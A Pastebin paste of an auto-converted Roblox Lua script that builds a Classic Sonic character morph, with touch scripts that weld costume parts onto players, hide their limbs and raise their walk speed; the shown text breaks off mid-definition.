Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Model1 = Instance.new("Model")
- Model2 = Instance.new("Model")
- Part3 = Instance.new("Part")
- Part4 = Instance.new("Part")
- SpecialMesh5 = Instance.new("SpecialMesh")
- Part6 = Instance.new("Part")
- SpecialMesh7 = Instance.new("SpecialMesh")
- Part8 = Instance.new("Part")
- SpecialMesh9 = Instance.new("SpecialMesh")
- Model10 = Instance.new("Model")
- Part11 = Instance.new("Part")
- Part12 = Instance.new("Part")
- SpecialMesh13 = Instance.new("SpecialMesh")
- Part14 = Instance.new("Part")
- SpecialMesh15 = Instance.new("SpecialMesh")
- Part16 = Instance.new("Part")
- SpecialMesh17 = Instance.new("SpecialMesh")
- Model18 = Instance.new("Model")
- Part19 = Instance.new("Part")
- Part20 = Instance.new("Part")
- SpecialMesh21 = Instance.new("SpecialMesh")
- Part22 = Instance.new("Part")
- SpecialMesh23 = Instance.new("SpecialMesh")
- Part24 = Instance.new("Part")
- SpecialMesh25 = Instance.new("SpecialMesh")
- Part26 = Instance.new("Part")
- SpecialMesh27 = Instance.new("SpecialMesh")
- Model28 = Instance.new("Model")
- Part29 = Instance.new("Part")
- Part30 = Instance.new("Part")
- SpecialMesh31 = Instance.new("SpecialMesh")
- Part32 = Instance.new("Part")
- SpecialMesh33 = Instance.new("SpecialMesh")
- Part34 = Instance.new("Part")
- SpecialMesh35 = Instance.new("SpecialMesh")
- Humanoid36 = Instance.new("Humanoid")
- Part37 = Instance.new("Part")
- Script38 = Instance.new("Script")
- Script39 = Instance.new("Script")
- Script40 = Instance.new("Script")
- Script41 = Instance.new("Script")
- Script42 = Instance.new("Script")
- Script43 = Instance.new("Script")
- CylinderMesh44 = Instance.new("CylinderMesh")
- Script45 = Instance.new("Script")
- Model46 = Instance.new("Model")
- Part47 = Instance.new("Part")
- Part48 = Instance.new("Part")
- SpecialMesh49 = Instance.new("SpecialMesh")
- Part50 = Instance.new("Part")
- SpecialMesh51 = Instance.new("SpecialMesh")
- Part52 = Instance.new("Part")
- SpecialMesh53 = Instance.new("SpecialMesh")
- Script54 = Instance.new("Script")
- Model55 = Instance.new("Model")
- Part56 = Instance.new("Part")
- Sound57 = Instance.new("Sound")
- Script58 = Instance.new("Script")
- Model59 = Instance.new("Model")
- Part60 = Instance.new("Part")
- Humanoid61 = Instance.new("Humanoid")
- RotateP62 = Instance.new("RotateP")
- Script63 = Instance.new("Script")
- RotateP64 = Instance.new("RotateP")
- RotateP65 = Instance.new("RotateP")
- Weld66 = Instance.new("Weld")
- Weld67 = Instance.new("Weld")
- Weld68 = Instance.new("Weld")
- Weld69 = Instance.new("Weld")
- Part70 = Instance.new("Part")
- Script71 = Instance.new("Script")
- Fire72 = Instance.new("Fire")
- Script73 = Instance.new("Script")
- Camera74 = Instance.new("Camera")
- Model0.Name = "Sonic Generations"
- Model0.Parent = mas
- Model1.Name = "Classic Sonic the Hedgehog"
- Model1.Parent = Model0
- Model1.PrimaryPart = Part3
- Model2.Name = "Leg2"
- Model2.Parent = Model1
- Model2.PrimaryPart = Part3
- Part3.Name = "Middle"
- Part3.Parent = Model2
- Part3.CFrame = CFrame.new(30.2179794, 1.20597899, -6.97869205, 0, -3.89999987e-05, 1, 5.50000004e-05, 1, 3.89999987e-05, -1, 5.50000004e-05, 2.14499996e-09)
- Part3.Orientation = Vector3.new(0, 90, 0)
- Part3.Position = Vector3.new(30.2179794, 1.20597899, -6.97869205)
- Part3.Rotation = Vector3.new(0, 90, 0)
- Part3.Color = Color3.new(0.643137, 0.741176, 0.278431)
- Part3.Transparency = 1
- Part3.Size = Vector3.new(1, 2, 1)
- Part3.Anchored = true
- Part3.BottomSurface = Enum.SurfaceType.Smooth
- Part3.BrickColor = BrickColor.new("Br. yellowish green")
- Part3.TopSurface = Enum.SurfaceType.Smooth
- Part3.brickColor = BrickColor.new("Br. yellowish green")
- Part3.FormFactor = Enum.FormFactor.Symmetric
- Part3.formFactor = Enum.FormFactor.Symmetric
- Part4.Name = "Sock"
- Part4.Parent = Model2
- Part4.CFrame = CFrame.new(30.2713699, 1.453035, -7.03922415, 0, 0, -1, 0.333807141, 0.942641497, 0, 0.942641497, -0.333807141, 0)
- Part4.Orientation = Vector3.new(0, -90, 19.5)
- Part4.Position = Vector3.new(30.2713699, 1.453035, -7.03922415)
- Part4.Rotation = Vector3.new(-19.5, -90, 0)
- Part4.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part4.Size = Vector3.new(4, 1, 2)
- Part4.Anchored = true
- Part4.BrickColor = BrickColor.new("Institutional white")
- Part4.Material = Enum.Material.SmoothPlastic
- Part4.brickColor = BrickColor.new("Institutional white")
- SpecialMesh5.Parent = Part4
- SpecialMesh5.MeshId = "rbxassetid://430824452"
- SpecialMesh5.Scale = Vector3.new(0.159999996, 0.159999996, 0.159999996)
- SpecialMesh5.MeshType = Enum.MeshType.FileMesh
- Part6.Name = "Shoe"
- Part6.Parent = Model2
- Part6.CFrame = CFrame.new(29.8213711, 0.793040991, -7.15921879, 0, 0, 1, -0.38268292, 0.923879743, 0, -0.923879743, -0.38268292, 0)
- Part6.Orientation = Vector3.new(0, 90, -22.5)
- Part6.Position = Vector3.new(29.8213711, 0.793040991, -7.15921879)
- Part6.Rotation = Vector3.new(-22.5, 90, 0)
- Part6.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part6.Size = Vector3.new(1.01999998, 1, 1.95999992)
- Part6.Anchored = true
- Part6.BrickColor = BrickColor.new("Dark indigo")
- Part6.Material = Enum.Material.SmoothPlastic
- Part6.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh7.Name = "ss"
- SpecialMesh7.Parent = Part6
- SpecialMesh7.MeshId = "rbxassetid://430824139"
- SpecialMesh7.Scale = Vector3.new(0.159999996, 0.159999996, 0.159999996)
- SpecialMesh7.TextureId = "rbxassetid://430824144"
- SpecialMesh7.MeshType = Enum.MeshType.FileMesh
- Part8.Name = "Leg"
- Part8.Parent = Model2
- Part8.CFrame = CFrame.new(30.2613831, 2.17300105, -6.88922024, 0, 0, -1, -0.0697560087, 0.997564137, 0, 0.997564137, 0.0697560087, 0)
- Part8.Orientation = Vector3.new(0, -90, -4)
- Part8.Position = Vector3.new(30.2613831, 2.17300105, -6.88922024)
- Part8.Rotation = Vector3.new(4, -90, 0)
- Part8.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part8.Size = Vector3.new(4, 1, 2)
- Part8.Anchored = true
- Part8.BrickColor = BrickColor.new("Dark indigo")
- Part8.Material = Enum.Material.SmoothPlastic
- Part8.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh9.Parent = Part8
- SpecialMesh9.MeshId = "rbxassetid://430824715"
- SpecialMesh9.Scale = Vector3.new(0.159999996, 0.289999992, 0.159999996)
- SpecialMesh9.TextureId = "rbxassetid://430824723"
- SpecialMesh9.MeshType = Enum.MeshType.FileMesh
- Model10.Name = "Leg1"
- Model10.Parent = Model1
- Part11.Name = "Middle"
- Part11.Parent = Model10
- Part11.CFrame = CFrame.new(30.2179871, 1.20590103, -5.97898006, 0, -3.89999987e-05, 1, 5.50000004e-05, 1, 3.89999987e-05, -1, 5.50000004e-05, 2.14499996e-09)
- Part11.Orientation = Vector3.new(0, 90, 0)
- Part11.Position = Vector3.new(30.2179871, 1.20590103, -5.97898006)
- Part11.Rotation = Vector3.new(0, 90, 0)
- Part11.Color = Color3.new(0.643137, 0.741176, 0.278431)
- Part11.Transparency = 1
- Part11.Size = Vector3.new(1, 2, 1)
- Part11.Anchored = true
- Part11.BottomSurface = Enum.SurfaceType.Smooth
- Part11.BrickColor = BrickColor.new("Br. yellowish green")
- Part11.TopSurface = Enum.SurfaceType.Smooth
- Part11.brickColor = BrickColor.new("Br. yellowish green")
- Part11.FormFactor = Enum.FormFactor.Symmetric
- Part11.formFactor = Enum.FormFactor.Symmetric
- Part12.Name = "Leg"
- Part12.Parent = Model10
- Part12.CFrame = CFrame.new(30.2413826, 2.17300105, -6.00922823, 0, 0, -1, 0.492422998, 0.870356023, 0, 0.870356023, -0.492422998, 0)
- Part12.Orientation = Vector3.new(0, -90, 29.5)
- Part12.Position = Vector3.new(30.2413826, 2.17300105, -6.00922823)
- Part12.Rotation = Vector3.new(-29.5, -90, 0)
- Part12.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part12.Size = Vector3.new(4, 1, 2)
- Part12.Anchored = true
- Part12.BrickColor = BrickColor.new("Dark indigo")
- Part12.Material = Enum.Material.SmoothPlastic
- Part12.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh13.Parent = Part12
- SpecialMesh13.MeshId = "rbxassetid://430824715"
- SpecialMesh13.Scale = Vector3.new(0.159999996, 0.289999992, 0.159999996)
- SpecialMesh13.TextureId = "rbxassetid://430824723"
- SpecialMesh13.MeshType = Enum.MeshType.FileMesh
- Part14.Name = "Shoe"
- Part14.Parent = Model10
- Part14.CFrame = CFrame.new(29.8213711, 0.773030996, -5.80921602, 0, 0, 1, 0.38268292, 0.923879743, 0, -0.923879743, 0.38268292, 0)
- Part14.Orientation = Vector3.new(0, 90, 22.5)
- Part14.Position = Vector3.new(29.8213711, 0.773030996, -5.80921602)
- Part14.Rotation = Vector3.new(22.5, 90, 0)
- Part14.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part14.Size = Vector3.new(1.01999998, 1, 1.95999992)
- Part14.Anchored = true
- Part14.BrickColor = BrickColor.new("Dark indigo")
- Part14.Material = Enum.Material.SmoothPlastic
- Part14.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh15.Name = "ss"
- SpecialMesh15.Parent = Part14
- SpecialMesh15.MeshId = "rbxassetid://430824367"
- SpecialMesh15.Scale = Vector3.new(0.159999996, 0.159999996, 0.159999996)
- SpecialMesh15.TextureId = "rbxassetid://430824371"
- SpecialMesh15.MeshType = Enum.MeshType.FileMesh
- Part16.Name = "Sock"
- Part16.Parent = Model10
- Part16.CFrame = CFrame.new(30.3113823, 1.43302202, -5.92923021, 0, 0, -1, 0.500000238, 0.866025388, 0, 0.866025388, -0.500000238, 0)
- Part16.Orientation = Vector3.new(0, -90, 30)
- Part16.Position = Vector3.new(30.3113823, 1.43302202, -5.92923021)
- Part16.Rotation = Vector3.new(-30, -90, 0)
- Part16.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part16.Size = Vector3.new(4, 1, 2)
- Part16.Anchored = true
- Part16.BrickColor = BrickColor.new("Institutional white")
- Part16.Material = Enum.Material.SmoothPlastic
- Part16.brickColor = BrickColor.new("Institutional white")
- SpecialMesh17.Parent = Part16
- SpecialMesh17.MeshId = "rbxassetid://430824452"
- SpecialMesh17.Scale = Vector3.new(0.159999996, 0.159999996, 0.159999996)
- SpecialMesh17.MeshType = Enum.MeshType.FileMesh
- Model18.Name = "Chest"
- Model18.Parent = Model1
- Model18.PrimaryPart = Part19
- Part19.Name = "Middle"
- Part19.Parent = Model18
- Part19.CFrame = CFrame.new(30.2179146, 3.20468497, -6.4789362, 0, -3.89999987e-05, 1, 5.50000004e-05, 1, 3.89999987e-05, -1, 5.50000004e-05, 2.14499996e-09)
- Part19.Orientation = Vector3.new(0, 90, 0)
- Part19.Position = Vector3.new(30.2179146, 3.20468497, -6.4789362)
- Part19.Rotation = Vector3.new(0, 90, 0)
- Part19.Color = Color3.new(0.0509804, 0.411765, 0.67451)
- Part19.Transparency = 1
- Part19.Size = Vector3.new(2, 2, 1)
- Part19.Anchored = true
- Part19.BottomSurface = Enum.SurfaceType.Smooth
- Part19.BrickColor = BrickColor.new("Bright blue")
- Part19.TopSurface = Enum.SurfaceType.Smooth
- Part19.brickColor = BrickColor.new("Bright blue")
- Part19.FormFactor = Enum.FormFactor.Symmetric
- Part19.formFactor = Enum.FormFactor.Symmetric
- Part20.Name = "Smooth Block Model"
- Part20.Parent = Model18
- Part20.CFrame = CFrame.new(30.2178497, 4.70368004, -6.47903776, 0, -3.89999987e-05, -1, -5.50000004e-05, 1, -3.89999987e-05, 1, 5.50000004e-05, -2.14499996e-09)
- Part20.Orientation = Vector3.new(0, -90, 0)
- Part20.Position = Vector3.new(30.2178497, 4.70368004, -6.47903776)
- Part20.Rotation = Vector3.new(0, -90, 0)
- Part20.Color = Color3.new(0.960784, 0.803922, 0.188235)
- Part20.Transparency = 1
- Part20.Size = Vector3.new(2, 1, 1)
- Part20.Anchored = true
- Part20.BottomSurface = Enum.SurfaceType.Smooth
- Part20.BrickColor = BrickColor.new("Bright yellow")
- Part20.CanCollide = false
- Part20.TopSurface = Enum.SurfaceType.Smooth
- Part20.brickColor = BrickColor.new("Bright yellow")
- Part20.FormFactor = Enum.FormFactor.Symmetric
- Part20.formFactor = Enum.FormFactor.Symmetric
- SpecialMesh21.Parent = Part20
- SpecialMesh21.Scale = Vector3.new(1.25, 1.25, 1.25)
- Part22.Name = "Chest"
- Part22.Parent = Model18
- Part22.CFrame = CFrame.new(30.5763664, 3.07356811, -6.423594, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part22.Orientation = Vector3.new(0, 90, 0)
- Part22.Position = Vector3.new(30.5763664, 3.07356811, -6.423594)
- Part22.Rotation = Vector3.new(0, 90, 0)
- Part22.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part22.Size = Vector3.new(1.70999992, 1.78999996, 2.36999989)
- Part22.Anchored = true
- Part22.BrickColor = BrickColor.new("Dark indigo")
- Part22.Material = Enum.Material.SmoothPlastic
- Part22.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh23.Parent = Part22
- SpecialMesh23.MeshId = "rbxassetid://430824849"
- SpecialMesh23.Scale = Vector3.new(0.150000006, 0.150000006, 0.150000006)
- SpecialMesh23.TextureId = "rbxassetid://430824855"
- SpecialMesh23.MeshType = Enum.MeshType.FileMesh
- Part24.Name = "Eye"
- Part24.Parent = Model18
- Part24.CFrame = CFrame.new(29.4563599, 4.73357582, -6.44359779, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part24.Orientation = Vector3.new(0, 90, 0)
- Part24.Position = Vector3.new(29.4563599, 4.73357582, -6.44359779)
- Part24.Rotation = Vector3.new(0, 90, 0)
- Part24.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part24.Size = Vector3.new(1.70999992, 1.78999996, 2.36999989)
- Part24.Anchored = true
- Part24.BrickColor = BrickColor.new("Dark indigo")
- Part24.Material = Enum.Material.SmoothPlastic
- Part24.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh25.Parent = Part24
- SpecialMesh25.MeshId = "rbxassetid://430825034"
- SpecialMesh25.Scale = Vector3.new(0.150000006, 0.150000006, 0.150000006)
- SpecialMesh25.TextureId = "rbxassetid://430825037"
- SpecialMesh25.MeshType = Enum.MeshType.FileMesh
- Part26.Name = "Head"
- Part26.Parent = Model18
- Part26.CFrame = CFrame.new(30.4963646, 4.69356585, -6.44360018, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part26.Orientation = Vector3.new(0, 90, 0)
- Part26.Position = Vector3.new(30.4963646, 4.69356585, -6.44360018)
- Part26.Rotation = Vector3.new(0, 90, 0)
- Part26.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part26.Size = Vector3.new(1.70999992, 1.78999996, 2.36999989)
- Part26.Anchored = true
- Part26.BrickColor = BrickColor.new("Dark indigo")
- Part26.Material = Enum.Material.SmoothPlastic
- Part26.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh27.Parent = Part26
- SpecialMesh27.MeshId = "rbxassetid://430823872"
- SpecialMesh27.Scale = Vector3.new(0.150000006, 0.150000006, 0.150000006)
- SpecialMesh27.TextureId = "rbxassetid://430823932"
- SpecialMesh27.MeshType = Enum.MeshType.FileMesh
- Model28.Name = "Arm1"
- Model28.Parent = Model1
- Model28.PrimaryPart = Part29
- Part29.Name = "Middle"
- Part29.Parent = Model28
- Part29.CFrame = CFrame.new(30.2179222, 3.20468497, -4.9794302, 0, -3.79999983e-05, 1, 5.50000004e-05, 1, 3.79999983e-05, -1, 5.50000004e-05, 2.08999995e-09)
- Part29.Orientation = Vector3.new(0, 90, 0)
- Part29.Position = Vector3.new(30.2179222, 3.20468497, -4.9794302)
- Part29.Rotation = Vector3.new(0, 90, 0)
- Part29.Color = Color3.new(0.960784, 0.803922, 0.188235)
- Part29.Transparency = 1
- Part29.Size = Vector3.new(1, 2, 1)
- Part29.Anchored = true
- Part29.BottomSurface = Enum.SurfaceType.Smooth
- Part29.BrickColor = BrickColor.new("Bright yellow")
- Part29.TopSurface = Enum.SurfaceType.Smooth
- Part29.brickColor = BrickColor.new("Bright yellow")
- Part29.FormFactor = Enum.FormFactor.Symmetric
- Part29.formFactor = Enum.FormFactor.Symmetric
- Part30.Name = "Arm"
- Part30.Parent = Model28
- Part30.CFrame = CFrame.new(30.2713814, 3.10302997, -5.68923092, 0, 0, -1, 0.923879743, -0.38268292, 0, -0.38268292, -0.923879743, 0)
- Part30.Orientation = Vector3.new(0, -90, 112.5)
- Part30.Position = Vector3.new(30.2713814, 3.10302997, -5.68923092)
- Part30.Rotation = Vector3.new(-112.5, -90, 0)
- Part30.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part30.Size = Vector3.new(4, 1, 2)
- Part30.Anchored = true
- Part30.BrickColor = BrickColor.new("Dark indigo")
- Part30.Material = Enum.Material.SmoothPlastic
- Part30.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh31.Parent = Part30
- SpecialMesh31.MeshId = "rbxassetid://430828139"
- SpecialMesh31.Scale = Vector3.new(0.150000006, 0.150000006, 0.150000006)
- SpecialMesh31.TextureId = "rbxassetid://430828141"
- SpecialMesh31.MeshType = Enum.MeshType.FileMesh
- Part32.Name = "Glove"
- Part32.Parent = Model28
- Part32.CFrame = CFrame.new(30.2813797, 2.89300895, -5.61923695, 0, 0, -1, -0.923879743, 0.38268292, 0, 0.38268292, 0.923879743, 0)
- Part32.Orientation = Vector3.new(0, -90, -67.5)
- Part32.Position = Vector3.new(30.2813797, 2.89300895, -5.61923695)
- Part32.Rotation = Vector3.new(67.5, -90, 0)
- Part32.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part32.Size = Vector3.new(4, 1, 2)
- Part32.Anchored = true
- Part32.BrickColor = BrickColor.new("Dark indigo")
- Part32.Material = Enum.Material.SmoothPlastic
- Part32.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh33.Parent = Part32
- SpecialMesh33.MeshId = "rbxassetid://430827901"
- SpecialMesh33.Scale = Vector3.new(0.150000006, 0.150000006, 0.150000006)
- SpecialMesh33.TextureId = "rbxassetid://430827902"
- SpecialMesh33.MeshType = Enum.MeshType.FileMesh
- Part34.Name = "Hand"
- Part34.Parent = Model28
- Part34.CFrame = CFrame.new(30.2713833, 2.28302193, -5.50923204, 0, -1, 0, -0.38268292, 0, 0.923879743, -0.923879743, 0, -0.38268292)
- Part34.Orientation = Vector3.new(-67.5, 180, -90)
- Part34.Position = Vector3.new(30.2713833, 2.28302193, -5.50923204)
- Part34.Rotation = Vector3.new(-112.5, 0, 90)
- Part34.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part34.Size = Vector3.new(4, 1, 2)
- Part34.Anchored = true
- Part34.BrickColor = BrickColor.new("Institutional white")
- Part34.Material = Enum.Material.SmoothPlastic
- Part34.brickColor = BrickColor.new("Institutional white")
- SpecialMesh35.Parent = Part34
- SpecialMesh35.MeshId = "rbxassetid://430829766"
- SpecialMesh35.Scale = Vector3.new(1.29999995, 1.29999995, 1.29999995)
- SpecialMesh35.MeshType = Enum.MeshType.FileMesh
- Humanoid36.Parent = Model1
- Humanoid36.Health = 0
- Humanoid36.MaxHealth = 0
- Humanoid36.NameOcclusion = Enum.NameOcclusion.NoOcclusion
- Humanoid36.maxHealth = 0
- Part37.Name = "Head"
- Part37.Parent = Model1
- Part37.CFrame = CFrame.new(26.2577953, 0.746556997, -6.36745405, 0.99968946, 0.0176407602, 0.0175992586, -0.0176390093, 0.999844491, -0.000254516926, -0.0176010095, -5.59956279e-05, 0.999845088)
- Part37.Orientation = Vector3.new(0.00999999978, 1.00999999, -1.00999999)
- Part37.Position = Vector3.new(26.2577953, 0.746556997, -6.36745405)
- Part37.Rotation = Vector3.new(0.00999999978, 1.00999999, -1.00999999)
- Part37.Color = Color3.new(0.768628, 0.156863, 0.109804)
- Part37.Size = Vector3.new(4, 1, 4)
- Part37.Anchored = true
- Part37.BottomSurface = Enum.SurfaceType.Smooth
- Part37.BrickColor = BrickColor.new("Bright red")
- Part37.TopSurface = Enum.SurfaceType.Smooth
- Part37.brickColor = BrickColor.new("Bright red")
- Part37.FormFactor = Enum.FormFactor.Symmetric
- Part37.formFactor = Enum.FormFactor.Symmetric
- Script38.Name = "Arm1"
- Script38.Parent = Part37
- table.insert(cors,sandbox(Script38,function()
- function onTouched(hit)
- if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent:findFirstChild("Arm1") == nil then
- local g = script.Parent.Parent.Arm1:clone()
- g.Parent = hit.Parent
- local C = g:GetChildren()
- for i=1, #C do
- if C[i].className == "Part" or C[i].className == "UnionOperation" then
- local W = Instance.new("Weld")
- W.Part0 = g.Middle
- W.Part1 = C[i]
- local CJ = CFrame.new(g.Middle.Position)
- local C0 = g.Middle.CFrame:inverse()*CJ
- local C1 = C[i].CFrame:inverse()*CJ
- W.C0 = C0
- W.C1 = C1
- W.Parent = g.Middle
- end
- local Y = Instance.new("Weld")
- Y.Part0 = hit.Parent["Left Arm"]
- Y.Part1 = g.Middle
- Y.C0 = CFrame.new(0, 0, 0)
- Y.Parent = Y.Part0
- end
- local h = g:GetChildren()
- for i = 1, # h do
- if h[i].className == "Part" or C[i].className == "UnionOperation" then
- h[i].Anchored = false
- h[i].CanCollide = false
- end
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Script39.Name = "Leg1"
- Script39.Parent = Part37
- table.insert(cors,sandbox(Script39,function()
- function onTouched(hit)
- if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent:findFirstChild("Leg1") == nil then
- local g = script.Parent.Parent.Leg1:clone()
- g.Parent = hit.Parent
- local C = g:GetChildren()
- for i=1, #C do
- if C[i].className == "Part" or C[i].className == "UnionOperation" then
- local W = Instance.new("Weld")
- W.Part0 = g.Middle
- W.Part1 = C[i]
- local CJ = CFrame.new(g.Middle.Position)
- local C0 = g.Middle.CFrame:inverse()*CJ
- local C1 = C[i].CFrame:inverse()*CJ
- W.C0 = C0
- W.C1 = C1
- W.Parent = g.Middle
- end
- local Y = Instance.new("Weld")
- Y.Part0 = hit.Parent["Left Leg"]
- Y.Part1 = g.Middle
- Y.C0 = CFrame.new(0, 0, 0)
- Y.Parent = Y.Part0
- end
- local h = g:GetChildren()
- for i = 1, # h do
- if h[i].className == "Part" or C[i].className == "UnionOperation" then
- h[i].Anchored = false
- h[i].CanCollide = false
- end
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Script40.Parent = Part37
- table.insert(cors,sandbox(Script40,function()
- function onTouch(part)
- local human = part.Parent:findFirstChild("Humanoid")
- if human ~= nil then
- part.Parent:findFirstChild("Head").Transparency = 0.98
- part.Parent:findFirstChild("Torso").Transparency = 1
- part.Parent:findFirstChild("Left Arm").Transparency = 1
- part.Parent:findFirstChild("Right Arm").Transparency = 1
- part.Parent:findFirstChild("Left Leg").Transparency = 1
- part.Parent:findFirstChild("Right Leg").Transparency = 1
- end
- end
- script.Parent.Touched:connect(onTouch)
- --COLORS
- --1 = white
- --208 = Light stone grey
- --194 = Medium stone grey
- --199 = Dark stone grey
- --26 = Black
- --21 = Bright red
- --24 = Bright yellow
- --226 = Cool yellow
- --23 = Bright blue
- --107 = Bright bluish green
- --102 = Medium blue
- --11 = Pastel blue
- --45 = Light blue
- --135 = Sand blue
- --106 = Bright orange
- --105 = Br. yellowish orange
- --141 = Earth green
- --28 = Dark green
- --37 = Bright green
- --119 = Br. yellowish green
- --29 = Medium green
- --151 = Sand green
- --38 = Dark orange
- --192 = Reddish brown
- --104 = Bright violet
- --9 = Light reddish violet
- --101 = Medium red
- --5 = Brick Yellow
- --153 = Sand red
- --217 = Brown
- --18 = Nougat
- --125 = Light orange
- end))
- Script41.Name = "WalkSpeed Script"
- Script41.Parent = Part37
- table.insert(cors,sandbox(Script41,function()
- local debounce = false
- function onTouch(part)
- local human = part.Parent:findFirstChild("Humanoid")
- if (human ~= nil) and debounce == false then
- debounce = true
- human.WalkSpeed = 50-- or whatever number
- wait(2)
- debounce = false
- end
- end
- script.Parent.Touched:connect(onTouch)
- end))
- Script42.Name = "Leg2"
- Script42.Parent = Part37
- table.insert(cors,sandbox(Script42,function()
- function onTouched(hit)
- if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent:findFirstChild("Leg2") == nil then
- local g = script.Parent.Parent.Leg2:clone()
- g.Parent = hit.Parent
- local C = g:GetChildren()
- for i=1, #C do
- if C[i].className == "Part" or C[i].className == "UnionOperation" then
- local W = Instance.new("Weld")
- W.Part0 = g.Middle
- W.Part1 = C[i]
- local CJ = CFrame.new(g.Middle.Position)
- local C0 = g.Middle.CFrame:inverse()*CJ
- local C1 = C[i].CFrame:inverse()*CJ
- W.C0 = C0
- W.C1 = C1
- W.Parent = g.Middle
- end
- local Y = Instance.new("Weld")
- Y.Part0 = hit.Parent["Right Leg"]
- Y.Part1 = g.Middle
- Y.C0 = CFrame.new(0, 0, 0)
- Y.Parent = Y.Part0
- end
- local h = g:GetChildren()
- for i = 1, # h do
- if h[i].className == "Part" or C[i].className == "UnionOperation" then
- h[i].Anchored = false
- h[i].CanCollide = false
- end
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Script43.Name = "Arm2"
- Script43.Parent = Part37
- table.insert(cors,sandbox(Script43,function()
- function onTouched(hit)
- if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent:findFirstChild("Arm2") == nil then
- local g = script.Parent.Parent.Arm2:clone()
- g.Parent = hit.Parent
- local C = g:GetChildren()
- for i=1, #C do
- if C[i].className == "Part" or C[i].className == "UnionOperation" then
- local W = Instance.new("Weld")
- W.Part0 = g.Middle
- W.Part1 = C[i]
- local CJ = CFrame.new(g.Middle.Position)
- local C0 = g.Middle.CFrame:inverse()*CJ
- local C1 = C[i].CFrame:inverse()*CJ
- W.C0 = C0
- W.C1 = C1
- W.Parent = g.Middle
- end
- local Y = Instance.new("Weld")
- Y.Part0 = hit.Parent["Right Arm"]
- Y.Part1 = g.Middle
- Y.C0 = CFrame.new(0, 0, 0)
- Y.Parent = Y.Part0
- end
- local h = g:GetChildren()
- for i = 1, # h do
- if h[i].className == "Part" or C[i].className == "UnionOperation" then
- h[i].Anchored = false
- h[i].CanCollide = false
- end
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- CylinderMesh44.Parent = Part37
- Script45.Name = "Torso"
- Script45.Parent = Part37
- table.insert(cors,sandbox(Script45,function()
- function onTouched(hit)
- if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent:findFirstChild("Chest") == nil then
- local g = script.Parent.Parent.Chest:clone()
- g.Parent = hit.Parent
- local C = g:GetChildren()
- for i=1, #C do
- if C[i].className == "Part" or C[i].className == "UnionOperation" or C[i].className == "WedgePart" then
- local W = Instance.new("Weld")
- W.Part0 = g.Middle
- W.Part1 = C[i]
- local CJ = CFrame.new(g.Middle.Position)
- local C0 = g.Middle.CFrame:inverse()*CJ
- local C1 = C[i].CFrame:inverse()*CJ
- W.C0 = C0
- W.C1 = C1
- W.Parent = g.Middle
- end
- local Y = Instance.new("Weld")
- Y.Part0 = hit.Parent.Torso
- Y.Part1 = g.Middle
- Y.C0 = CFrame.new(0, 0, 0)
- Y.Parent = Y.Part0
- end
- local h = g:GetChildren()
- for i = 1, # h do
- if h[i].className == "Part" or h[i].className == "UnionOperation" or C[i].className == "WedgePart" then
- h[i].Anchored = false
- h[i].CanCollide = false
- end
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Model46.Name = "Arm2"
- Model46.Parent = Model1
- Model46.PrimaryPart = Part47
- Part47.Name = "Middle"
- Part47.Parent = Model46
- Part47.CFrame = CFrame.new(30.2178879, 3.20483994, -7.97854424, 0, -3.79999983e-05, 1, 5.50000004e-05, 1, 3.79999983e-05, -1, 5.50000004e-05, 2.08999995e-09)
- Part47.Orientation = Vector3.new(0, 90, 0)
- Part47.Position = Vector3.new(30.2178879, 3.20483994, -7.97854424)
- Part47.Rotation = Vector3.new(0, 90, 0)
- Part47.Color = Color3.new(0.960784, 0.803922, 0.188235)
- Part47.Transparency = 1
- Part47.Size = Vector3.new(1, 2, 1)
- Part47.Anchored = true
- Part47.BottomSurface = Enum.SurfaceType.Smooth
- Part47.BrickColor = BrickColor.new("Bright yellow")
- Part47.TopSurface = Enum.SurfaceType.Smooth
- Part47.brickColor = BrickColor.new("Bright yellow")
- Part47.FormFactor = Enum.FormFactor.Symmetric
- Part47.formFactor = Enum.FormFactor.Symmetric
- Part48.Name = "Arm"
- Part48.Parent = Model46
- Part48.CFrame = CFrame.new(30.2713814, 3.10302997, -7.11920786, 0, 0, -1, 0.923879743, 0.38268292, 0, 0.38268292, -0.923879743, 0)
- Part48.Orientation = Vector3.new(0, -90, 67.5)
- Part48.Position = Vector3.new(30.2713814, 3.10302997, -7.11920786)
